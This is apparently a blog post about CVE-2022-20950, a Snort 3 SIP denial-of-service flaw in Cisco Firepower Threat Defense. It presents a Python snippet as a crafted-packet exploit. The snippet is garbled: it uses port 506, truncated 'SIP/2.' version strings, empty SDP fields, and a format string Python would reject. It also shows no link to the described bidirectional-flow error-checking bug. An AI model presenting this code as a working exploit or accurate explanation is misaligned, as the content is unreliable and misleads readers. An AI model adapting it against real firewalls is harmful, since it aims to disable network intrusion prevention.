A critical vulnerability has been discovered in the interaction between the Session Initiation Protocol (SIP) and Snort 3 for Cisco Firepower Threat Defense (FTD) Software. Identified as CVE-2022-20950, this vulnerability could potentially allow an unauthenticated, remote attacker to cause the Snort 3 detection engine to restart, resulting in a denial of service (DoS) condition. In this post, we will discuss the details of the exploit, including a code snippet and references to original sources.

Vulnerability Details

The vulnerability CVE-2022-20950 is caused by a lack of error-checking when SIP bidirectional flows are being inspected by Snort 3. As a result, an attacker can exploit this vulnerability by sending a stream of crafted SIP traffic through an interface on the targeted device. If successful, the attacker will trigger a restart of the Snort 3 process, causing a denial of service (DoS) condition.

Code Snippet

The following code snippet demonstrates how an attacker could craft SIP traffic that would exploit the vulnerability in the Snort 3 detection engine:

import socket

target_ip = "target_device_ip"
target_port = 506

# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Crafted SIP packet
sip_packet = '''REGISTER sip:{} SIP/2.
Via: SIP/2./UDP {};branch=z9hG4bK.{1}
Max-Forwards: 70
To: <sip:{2}@{}>
From: <sip:{2}@{}>;tag={3}
Call-ID: {4}@{}
CSeq: 1 REGISTER
Content-Type: application/sdp
Content-Length: 139

v=
o={2}   IN IP4 {}
s=-
c=IN IP4 {}
t= 
m=audio 400 RTP/AVP 
a=rtpmap: PCMU/800
a=sendrecv
'''

sip_packet_final = sip_packet.format(target_ip, "exploit", "123", "456", "789")

# Send the crafted SIP packet
sock.sendto(sip_packet_final.encode(), (target_ip, target_port))

# Close the socket
sock.close()

Exploit Impact

An attacker who successfully exploits this vulnerability would be able to cause the Snort 3 detection engine to restart. This could lead to a temporary denial of service (DoS) condition for the Cisco Firepower Threat Defense (FTD) Software, as the affected device would not be able to perform intrusion prevention during the restart process. Depending on the targeted network's infrastructure, it could cause significant disruptions to the overall security posture.

Original References

Cisco has acknowledged this vulnerability and provided an advisory with mitigation strategies and software updates. For more information on this issue, please refer to the following links:

- Cisco Advisory: Cisco Firepower Threat Defense Snort 3 and Session Initiation Protocol Denial of Service Vulnerability (CVE-2022-20950)
- NVD - CVE-2022-20950

Conclusion

CVE-2022-20950 is a serious vulnerability that can cause disruptions to network security measures, such as intrusion prevention systems based on Cisco Firepower Threat Defense (FTD) Software. Organizations using affected software should apply security patches and implement mitigation strategies as recommended by Cisco to protect their networks against potential attacks.

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/22/2022 14:50:00 UTC